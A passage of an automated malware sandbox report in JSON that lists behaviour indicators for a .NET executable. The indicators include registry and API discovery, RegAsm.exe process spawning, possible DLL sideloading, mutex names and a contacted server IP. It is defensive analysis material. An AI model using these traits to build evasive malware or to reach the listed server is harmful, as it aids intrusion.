Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00005956)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set must be >= 0\" (Indicator: \"set \"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found string \"Set the flatness tolerance in the graphics state. Valid values are from 0 to 100, a value of 0 specifies the default flatness tolerance.\" (Indicator: \"set \"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetLastWriteTime\" (Indicator: \"GetLastWriteTime\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetCreationTime\" (Indicator: \"GetCreationTime\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00005956.00000000.80976.00320000.00000004.mdmp\n 00000000-00005956.00000001.81246.00320000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionInfo\" (Indicator: \"GetVersion\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"DllGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %TEMP%\\PROTECT544CD51A.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" queries volume information of \"C:\\a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" at 00000000-00005956-0000010C-3396113\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" queries volume information of \"C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\netstandard\\v4.0_2.0.0.0__cc7b13ffcd2ddd51\\netstandard.dll\" at 00000000-00005956-0000010C-4648737\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" queries volume information of \"C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Runtime.InteropServices.RuntimeInformation\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Runtime.InteropServices.RuntimeInformation.dll\" at 00000000-00005956-0000010C-5983794\n \"RegAsm.exe\" queries volume information of \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" at 00000000-00004108-0000010C-1594259","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExA\" in file \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"RegAsm.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00004108)\n \"RegAsm.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00004108)\n \"RegAsm.exe\" called \"CreateDirectoryW\" with parameter %ALLUSERSPROFILE%\\Corporation (UID: 00000000-00004108)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" - (UID: 00000000-00005956)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2f","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$30","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00005956.00000001.81246.00320000.00000004.mdmp, 00000000-00005956.00000001.81246.020E0000.00000004.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.172.128.87:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"automating_the_cleaning_actionsapp.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"set_UseShellExecute\" (Indicator: \"ShellExecute\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"set_LoadUserProfile\" (Indicator: \"LoadUserProfile\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"Wow64GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"Wow64SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$32","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"\n Process a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\Protect544cd51a.dll\"\n Process RegAsm.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"\n Process RegAsm.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\MicrosoftEdgeUpdateTaskedCoresde\"\n Process RegAsm.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$33","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"Protect544cd51a.dll\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$34","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 77240000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 637E0000\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.tlb\" at 00880000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 637E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74EF0000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74EF0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64440000\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64BF0000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64BF0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 758A0000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 758A0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"1300140054f4e476@RPCRT4.dll\"\n \"1800190068e83d65@api-ms-win-core-synch-l1-2-0.dll\"\n \"1800190088e83d65@api-ms-win-core-synch-l1-2-0.dll\"\n \"0d000e00cc5f3d65@ntdll.dll\"\n \"100011000e03cb6b@ADVAPI32.dll\"\n \"0d000e002203cb6b@ADVAPI32.dll\"\n \"0d000e00fe02cb6b@ADVAPI32.dll\"\n \"0b000c00cc02cb6b@ADVAPI32.dll\"\n \"10001100da02cb6b@ADVAPI32.dll\"\n \"1500160020734465@ADVAPI32.dll\"\n \"0e000f00e4734465@ADVAPI32.dll\"\n \"0e000f0050744465@ADVAPI32.dll\"\n \"11001200d47d4465@ADVAPI32.dll\"\n \"110012007c7e4465@ADVAPI32.dll\"\n \"12001300cc7e4465@ADVAPI32.dll\"\n \"12001300387f4465@ADVAPI32.dll\"\n \"14001500e4b74465@ADVAPI32.dll\"\n \"1400150000b84465@ADVAPI32.dll\"\n \"140015001cb84465@ADVAPI32.dll\"\n \"1700180038b84465@ADVAPI32.dll\"\n \"0d000e0054b84465@ADVAPI32.dll\"\n \"1100120064b84465@ADVAPI32.dll\"\n \"110012007cb84465@ADVAPI32.dll\"\n \"0f001000ecb94465@ADVAPI32.dll\"","origin":"API 